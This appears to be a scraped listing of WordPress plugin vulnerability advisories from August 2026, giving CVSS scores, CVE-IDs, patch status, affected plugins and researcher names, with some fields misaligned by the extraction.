Swift Website Updates & Maintenance

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-15369

Patch Status

Patched

Published
Aug 29, 2026

Affected Software

Custom User Registration Fields for WooCommerce [user-registration-plugin-for-woocommerce]

Researcher

0xd4rk5id3

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-18781

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Drag and Drop Multiple File Upload for Contact Form 7 [drag-and-drop-multiple-file-upload-contact-form-7]

Researcher

ERP: Complete HR, Accounting & CRM Suite Built for WooCommerce [erp]

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-18080

Patch Status

Patched

Published
Aug 25, 2026

Affected Software

Researcher

Talal Nasraddeen

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-82222

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

GiveWP – Donation Plugin and Fundraising Platform [give]

Researcher

Udin Chan

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-81780

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

Hash Form – Drag & Drop Form Builder [hash-form]

Researcher

CoryRoo

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-16747

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Kirki – Freeform Page Builder, Website Builder & Customizer [kirki]

Researcher

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-18052

Patch Status

Patched

Published
Aug 25, 2026

Affected Software

ManageWP Worker [worker]

Researcher

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-15980

Patch Status

Patched

Published
Aug 29, 2026

Affected Software

MyHome Core [myhome-core]

Researcher

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-81779

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

Newspapers X [newspapers-x]

Researcher

ashv4ni

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-14494

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

SigmaForms Pro – AI Generated Forms [sigmaforms-pro]

Researcher

d.v4n_s3c

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-77002

Patch Status

Unpatched

Published
Aug 26, 2026

Affected Software

SmilePass Selfie Login [selfie-login]

Researcher

Khaled Alenazi

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-15206

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

SMS Alert – SMS & OTP for WooCommerce, Order Notifications & Abandoned Cart Recovery [sms-alert]

Researcher

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-19718

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

BlogVault Backup & Staging [blogvault-real-time-backup]

MalCare WordPress Security Plugin – Malware Scanner, Cleaner, Security Firewall [malcare-security]

The WP Remote WordPress Plugin [wpremote]

Researcher

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-19632

Patch Status

Patched

Published
Aug 25, 2026

Affected Software

TranslatePress – Translate Multilingual sites with AI Translation [translatepress-multilingual]

Researcher

Yuto Hyakumoto

CVSS Rating
9.8 (Critical)

CVE-ID

CVE-2026-76581

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

WPMU DEV Dashboard [wpmudev-updates]

Researchers

CVSS Rating
9.1 (Critical)

CVE-ID

CVE-2026-12513

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

Shared Files – File Upload & Download Manager [shared-files]

Shared Files Pro [shared-files-pro]

Researcher

Huynh Kien Minh

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-19949

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

All-in-One WP Migration and Backup [all-in-one-wp-migration]

Researcher

Jack Taylor

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-16601

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

CM Map Locations – Visualize and share your locations in a few clicks [cm-map-locations]

Researcher

Spy0x7

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-19892

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

InfusedWoo Pro [infusedwooPRO]

Researcher

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-75977

Patch Status

Patched

Published
Aug 25, 2026

Affected Software

Mang Board WP [mangboard]

Researcher

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-74851

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

Pods – Custom Content Types and Fields [pods]

Researcher

Tyler Chin

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-81757

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

Rank Math SEO – AI SEO Tools to Dominate SEO Rankings [seo-by-rank-math]

Researcher

CVSS Rating
8.8 (High)

CVE-ID

CVE-2026-77018

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

Workeera – AI Job Board with Applicant Tracking System (ATS) [workeera-remote-tech-job-board]

Researcher

CVSS Rating
8.1 (High)

CVE-ID

CVE-2026-15985

Patch Status

Patched

Published
Aug 25, 2026

Affected Software

Classified Listing – Mobile Number Verification [rtcl-verification]

Researcher

CVSS Rating
8.1 (High)

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

FluentCart A New Era of eCommerce – Faster, Lighter, and Simpler [fluent-cart]

Researcher

CVSS Rating
8.1 (High)

CVE-ID

CVE-2026-78286

Patch Status

Patched

Published
Aug 25, 2026

Affected Software

Geo Controller [cf-geoplugin]

Researcher

CVSS Rating
8.1 (High)

CVE-ID

CVE-2026-78292

Patch Status

Patched

Published
Aug 25, 2026

Affected Software

Hash Form – Drag & Drop Form Builder [hash-form]

Researcher

CVSS Rating
8.1 (High)

CVE-ID

CVE-2026-82226

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

Tickera – Sell Tickets & Manage Events [tickera-event-ticketing-system]

Researcher

Ionut Pipirig

CVSS Rating
8.1 (High)

CVE-ID

CVE-2026-77016

Patch Status

Patched

Published
Aug 25, 2026

Affected Software

Workeera – AI Job Board with Applicant Tracking System (ATS) [workeera-remote-tech-job-board]

Researchers

Shhriyash

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-78288

Patch Status

Patched

Published
Aug 25, 2026

Affected Software

Beautiful taxonomy filters [beautiful-taxonomy-filters]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-78257

Patch Status

Patched

Published
Aug 25, 2026

Affected Software

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-16567

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

Document Embedder – let visitors read files without downloading [document-emberdder]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-78260

Patch Status

Patched

Published
Aug 25, 2026

Affected Software

ePayco plugin for WooCommerce [epayco-gateway]

Researcher

Lee chul woong

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-15990

Patch Status

Patched

Published
Aug 26, 2026

Affected Software

Formidable Charts [formidable-charts]

Researcher

Thatchapol Booranatanit (AliceZz)

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-18983

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

One User Avatar | User Profile Picture [one-user-avatar]

Researcher

Dthangws

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-75807

Patch Status

Patched

Published
Aug 29, 2026

Affected Software

SAML Single Sign On – SSO Login [miniorange-saml-20-single-sign-on]

Researchers

Tanishq Shah

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-81756

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

Smart Marketing SMS and Newsletters Forms [smart-marketing-for-wp]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-81285

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

Smush – Image Optimization, Compression, Lazy Load, WebP & CDN [wp-smushit]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-81763

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

Throws SPAM Away [throws-spam-away]

Researcher

Jiemook

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-19094

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Tutor LMS – eLearning and online course solution [tutor]

Researcher

Leonid Semenenko (lsemenenko)

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-32479

Patch Status

Patched

Published
Aug 25, 2026

Affected Software

Visitor Traffic Real Time Statistics pro [visitors-traffic-real-time-statistics-pro]

Researcher

Trương Hữu Phúc

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-18884

Patch Status

Patched

Published
Aug 25, 2026

Affected Software

WooCommerce Lottery [woocommerce-lottery]

Researcher

h0xilo

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-81293

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

WP Data Access – App Builder for Tables, Forms, Charts, Maps & Dashboards [wp-data-access]

Researcher

sequence_X0

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-5097

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

wpForo Forum [wpforo]

Researcher

CVSS Rating
7.5 (High)

CVE-ID

CVE-2026-77012

Patch Status

Unpatched

Published
Aug 27, 2026

Affected Software

爱采集数据采集和发布插件 [icollect]

Researchers

Pablo González Pérez

Francisco José Ramírez Vicente

Iñigo Sánchez Enciso

CVSS Rating
7.3 (High)

CVE-ID

CVE-2026-76586

Patch Status

Patched

Published
Aug 29, 2026

Affected Software

Appointment Booking Calendar Plugin and Scheduling Plugin – BookingPress [bookingpress-appointment-booking]

Researcher

Nguyen Phuoc Thinh

CVSS Rating
7.3 (High)

CVE-ID

CVE-2026-19220

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

Forminator Forms – Contact Form, Payment Form & Custom Form Builder [forminator]

Researcher

CVSS Rating
7.3 (High)

CVE-ID

CVE-2026-77008

Patch Status

Unpatched

Published
Aug 27, 2026

Affected Software

HEL Online Classroom: AI-powered Online Classrooms [hel-online-classroom]

Researcher

kimsunghoon

CVSS Rating
7.3 (High)

CVE-ID

CVE-2026-19848

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

Paid Membership Plugin, Ecommerce, User Registration Form, Login Form, User Profile & Restrict Content – ProfilePress [wp-user-avatar]

Researcher

CVSS Rating
7.3 (High)

CVE-ID

CVE-2026-82225

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

RegistrationMagic – Custom Registration Forms, User Registration, Payment, and User Login [custom-registration-form-builder-with-submission-manager]

Researcher

emiliano carrizo

CVSS Rating
7.3 (High)

CVE-ID

CVE-2026-13598

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

RestrictMate – Restrict Page, Post and any Content ( Content Restriction and Membership Plugin) [restrictmate]

Researcher

João Ramos Maciel

CVSS Rating
7.3 (High)

CVE-ID

CVE-2026-19423

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

Ultimate Member – User Profile, Registration, Login, Member Directory, Content Restriction & Membership Plugin [ultimate-member]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-78333

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

12 Step Meeting List [12-step-meeting-list]

Researcher

Huseyn

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-82224

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

Affiliate Program Suite — SliceWP Affiliates [slicewp]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-17565

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

Animation Addons for Elementor – GSAP Motion Elementor Addons & Website Templates [animation-addons-for-elementor]

Researcher

Seongwon Lee

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-6286

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

Booking for Appointments and Events Calendar – Amelia [ameliabooking]

Researcher

Lucas Montes (NiRoX)

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-78289

Patch Status

Patched

Published
Aug 25, 2026

Affected Software

CozyStay – Hotel Booking WordPress Theme [cozystay]

Researcher

G0053

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-78281

Patch Status

Patched

Published
Aug 25, 2026

Affected Software

CP Media Player – Audio Player and Video Player [audio-and-video-player]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-6176

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

Customer Reviews for WooCommerce [customer-reviews-woocommerce]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-19225

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

Defender Security – Malware Scanner, Login Security & Firewall [defender-security]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-16576

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

Dokan: AI Powered WooCommerce Multivendor Marketplace Solution – Build Your Own Amazon, eBay, Etsy [dokan-lite]

Researcher

Khaled Alenazi

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-81764

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

Email Essentials [email-essentials]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-81290

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

Email Subscribers & Newsletters – Email Marketing, Post Notifications & Newsletter Plugin for WordPress [email-subscribers]

Researcher

Jiemook

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-78274

Patch Status

Patched

Published
Aug 26, 2026

Affected Software

Fluent Boards Pro [fluent-boards-pro]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-78271

Patch Status

Patched

Published
Aug 25, 2026

Affected Software

FluentCRM PRO [fluentcampaign-pro]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-18331

Patch Status

Patched

Published
Aug 25, 2026

Affected Software

Formidable Forms – WordPress Form Builder for Contact Forms, Calculators, Quizzes & More [formidable]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-19221

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

Forminator Forms – Contact Form, Payment Form & Custom Form Builder [forminator]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-18328

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Forminator Forms – Contact Form, Payment Form & Custom Form Builder [forminator]

Researcher

Adrien Brunner

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-18324

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

Forminator Forms – Contact Form, Payment Form & Custom Form Builder [forminator]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-18323

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Forminator Forms – Contact Form, Payment Form & Custom Form Builder [forminator]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-81760

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

JetEngine [jet-engine]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-81298

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

LeadConnector [leadconnector]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-18978

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

LiteSpeed Cache [litespeed-cache]

Researcher

Jack Taylor

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-81342

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

MasterStudy LMS WordPress Plugin – for Online Courses and Education [masterstudy-lms-learning-management-system]

Researcher

Abiodun Victor

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-78283

Patch Status

Patched

Published
Aug 25, 2026

Affected Software

Music Player for WooCommerce [music-player-for-woocommerce]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-77365

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

Optimole – Optimize Images | Convert WebP & AVIF | CDN & Lazy Load | Image Optimization [optimole-wp]

Researcher

ShopEngine Elementor WooCommerce Builder Addon – All in One WooCommerce Solution with eCommerce Templates & Woo Widgets [shopengine]

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-78261

Patch Status

Patched

Published
Aug 25, 2026

Affected Software

Realtyna Organic IDX plugin + WPL Real Estate [real-estate-listing-realtyna-wpl]

Researcher

Aydan Arabadzha

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-75971

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-76789

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

Slider Hero with Video Background, Animation [slider-hero]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-19223

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

Smush – Image Optimization, Compression, Lazy Load, WebP & CDN [wp-smushit]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-82229

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

miniOrange Social Login and Register (Discord, Google, Twitter, LinkedIn) Pro Addon [miniorange-login-openid]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-81768

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

Super Store Finder [superstorefinder-wp]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-81765

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

Tailored Tools [tailored-tools]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-76053

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

TranslatePress – Translate Multilingual sites with AI Translation [translatepress-multilingual]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-81291

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

Uncode [uncode]

Researcher

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-19760

Patch Status

Patched

Published
Aug 25, 2026

Affected Software

WP Fastest Cache – WordPress Cache Plugin [wp-fastest-cache]

Researcher

Adrien Brunner

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-5934

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

WP Rocket [wp-rocket]

Researchers

Tin Pham (TF1T)

Trong Pham (dtro)

Hao Ngo

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-78293

Patch Status

Patched

Published
Aug 25, 2026

Affected Software

WP w3all phpBB [wp-w3all-phpbb-integration]

Researcher

lanlv

CVSS Rating
7.2 (High)

CVE-ID

CVE-2026-19722

Patch Status

Patched

Published
Aug 30, 2026

Affected Software

WPvivid — Backup, Migration & Staging [wpvivid-backuprestore]

Researcher

Nir Yehoshua

CVSS Rating
6.6 (Medium)

CVE-ID

CVE-2026-14280

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Events Manager – Calendar, Bookings, Tickets, and more! [events-manager]

Researcher

CVSS Rating
6.6 (Medium)

CVE-ID

CVE-2026-78276

Patch Status

Patched

Published
Aug 26, 2026

Affected Software

Fluent Boards Pro [fluent-boards-pro]

Researcher

CVSS Rating
6.6 (Medium)

CVE-ID

CVE-2026-14558

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

User Frontend – Membership, User Registration, User Profile, User Directory & Content Restriction with Frontend Post Submission [wp-user-frontend]

Researcher

Hijun Kim

CVSS Rating
6.6 (Medium)

CVE-ID

CVE-2026-76547

Patch Status

Patched

Published
Aug 29, 2026

Affected Software

User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor [profile-builder]

Researcher

Vivien LEBAS

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-32564

Patch Status

Unpatched

Published
Aug 25, 2026

Affected Software

ACPT (Premium) [advanced-custom-post-type]

Researcher

VDsec

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-75797

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

AI Engine – The Chatbot, AI Framework & MCP for WordPress [ai-engine]

Researcher

Jashid Sany

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-15023

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Events Manager – Calendar, Bookings, Tickets, and more! [events-manager]

Researcher

Dmitrii Ignatyev

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-78275

Patch Status

Patched

Published
Aug 26, 2026

Affected Software

Fluent Boards Pro [fluent-boards-pro]

Researcher

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-78270

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

FluentCRM Pro – Email Newsletter, Automation, Email Marketing, Email Campaigns, Optins, Leads, and CRM Solution [fluentcrm-pro]

Researcher

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-32550

Patch Status

Patched

Published
Aug 25, 2026

Affected Software

Kadence Shop Kit [kadence-shop-kit]

Researcher

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-78285

Patch Status

Patched

Published
Aug 25, 2026

Affected Software

Like Button Rating LikeBtn [likebtn-like-button]

Researcher

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-16959

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Media Library Assistant [media-library-assistant]

Researcher

João Ramos Maciel

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-77693

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Order Tip for WooCommerce [order-tip-woo]

Researcher

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-81277

Patch Status

Patched

Published
Aug 26, 2026

Affected Software

Suggestion Engine for WooCommerce [woo-suggestion-engine]

Researcher

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-19093

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

Tutor LMS – eLearning and online course solution [tutor]

Researcher

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-16759

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

Tutor LMS – eLearning and online course solution [tutor]

Researcher

Slopothecary

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-77017

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

Workeera – AI Job Board with Applicant Tracking System (ATS) [workeera-remote-tech-job-board]

Researchers

Shhriyash

CVSS Rating
6.5 (Medium)

CVE-ID

CVE-2026-82227

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

WPBulky – WordPress Bulk Edit Post Types [wpbulky-wp-bulk-edit-post-types]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-6128

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

All-in-One WP Migration Unlimited Extension [all-in-one-wp-migration-unlimited-extension]

Researcher

João Pedro Soares de Alcântara

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-16654

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

Avada (Fusion) Builder [fusion-builder]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-6178

Patch Status

Patched

Published
Aug 25, 2026

Affected Software

Betheme [betheme]

Researcher

João Pedro Soares de Alcântara

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-75019

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Cozy Blocks – Page Builder for Gutenberg Editor & FSE with 700+ Patterns, 58 Blocks & Templates [cozy-addons]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-76128

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

eCommerce Product Catalog [ecommerce-product-catalog]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-3423

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

Envira Gallery – Image Photo Gallery, Albums, Video Gallery, Slideshows & More [envira-gallery-lite]

Researcher

lord willmore

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-13176

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Eventin – Event Calendar, Tickets, Registration, Booking & WooCommerce [wp-event-solution]

Researcher

Yaswanth Reddy Sunkara

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-78273

Patch Status

Patched

Published
Aug 26, 2026

Affected Software

Fluent Boards Pro [fluent-boards-pro]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-76063

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

FundEngine – Donation and Crowdfunding Platform [wp-fundraising-donation]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-5510

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

GiveWP – Donation Plugin and Fundraising Platform [give]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-5092

Patch Status

Patched

Published
Aug 25, 2026

Affected Software

Greenshift – animation and page builder blocks [greenshift-animation-and-page-builder-blocks]

Researchers

Itthidej Aramsri (Boeing777)

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-19943

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Gutenverse – WordPress Blocks, Page Builder & Site Editor [gutenverse]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-3002

Patch Status

Patched

Published
Aug 25, 2026

Affected Software

Gutenverse – WordPress Blocks, Page Builder & Site Editor [gutenverse]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-3129

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

LiteSpeed Cache [litespeed-cache]

Researcher

stealthcopter

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-78290

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Magazine Blocks – Blog Designer, Magazine & Newspaper Website Builder, Page Builder with Posts Blocks, Post Grid [magazine-blocks]

Researcher

MetForm – Contact Form, Survey, Quiz, Conditional Forms, Form Templates & Custom Form Builder for Elementor [metform]

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-18100

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Researcher

Jonah Burgess (CryptoCat)

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2025-9878

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

PPWP – Password Protect Pages [password-protect-page]

Researcher

Dmitrii Ignatyev

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-2388

Patch Status

Unpatched

Published
Aug 25, 2026

Affected Software

Reviews and Rating – Google Reviews [g-business-reviews-rating]

Researcher

Muhammad Yudha – DJ

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-19226

Patch Status

Patched

Published
Aug 26, 2026

Affected Software

Royal Addons for Elementor – Addons and Templates Kit for Elementor [royal-elementor-addons]

Researcher

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-78269

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Shared Files – File Upload & Download Manager [shared-files]

Researcher

Cem Bas

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-15798

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

Smart Slider 3 [smart-slider-3]

Researcher

Dmitrii Ignatyev

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-16600

Patch Status

Unpatched

Published
Aug 29, 2026

Affected Software

SmartAIPress [smartaipress]

Researcher

Benjamin Aguayo

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-14835

Patch Status

Unpatched

Published
Aug 30, 2026

Affected Software

SOGO Add Script to Individual Pages Header Footer [oh-add-script-header-footer]

Researcher

Chamseddine Bouzaiene

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-12561

Patch Status

Unpatched

Published
Aug 24, 2026

Affected Software

tagDiv Composer [td-composer]

Researcher

Truoc Phan

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-18512

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

TranslatePress – Translate Multilingual sites with AI Translation [translatepress-multilingual]

Researcher

Yuto Hyakumoto

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-18547

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Ultimate Member – User Profile, Registration, Login, Member Directory, Content Restriction & Membership Plugin [ultimate-member]

Researcher

tiborisaak

CVSS Rating
6.4 (Medium)

CVE-ID

CVE-2026-76546

Patch Status

Patched

Published
Aug 29, 2026

Affected Software

User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor [profile-builder]

Researcher

CVSS Rating
6.3 (Medium)

CVE-ID

CVE-2026-14212

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

Booking for Appointments and Events Calendar – Amelia [ameliabooking]

Researcher

Haitam Lazaar

CVSS Rating
6.3 (Medium)

CVE-ID

CVE-2026-81297

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

Fluent Forms Pro Add On Pack [fluentformpro]

Researcher

CVSS Rating
6.3 (Medium)

CVE-ID

CVE-2026-19222

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

Forminator Forms – Contact Form, Payment Form & Custom Form Builder [forminator]

Researcher

Thanh Lam Tang

CVSS Rating
6.3 (Medium)

CVE-ID

CVE-2026-18234

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

MStore API – Create Native Android & iOS Apps On The Cloud [mstore-api]

Researcher

Post SMTP – Complete Email Deliverability and SMTP Solution with Email Logs, Alerts, Backup SMTP & Mobile App [post-smtp]

CVSS Rating
6.3 (Medium)

CVE-ID

CVE-2026-81278

Patch Status

Patched

Published
Aug 26, 2026

Affected Software

Researcher

mad4cyber

CVSS Rating
6.3 (Medium)

CVE-ID

CVE-2026-79996

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

User Registration & Membership – Free & Paid Memberships, Subscriptions, Content Restriction, User Profile, Custom User Registration & Login Builder [user-registration]

Researcher

CVSS Rating
6.1 (Medium)

CVE-ID

CVE-2026-4246

Patch Status

Patched

Published
Aug 27, 2026

Affected Software

ElementsKit Pro [elementskit]

Researcher

Ren Voza

CVSS Rating
6.1 (Medium)

CVE-ID

CVE-2026-17089

Patch Status

Patched

Published
Aug 24, 2026

Affected Software

Events Manager – Calendar, Bookings, Tickets, and more! [events-manager]

Researcher

CVSS Rating
6.1 (Medium)

CVE-ID

CVE-2026-14307

Patch Status

Patched

Published
Aug 28, 2026

Affected Software

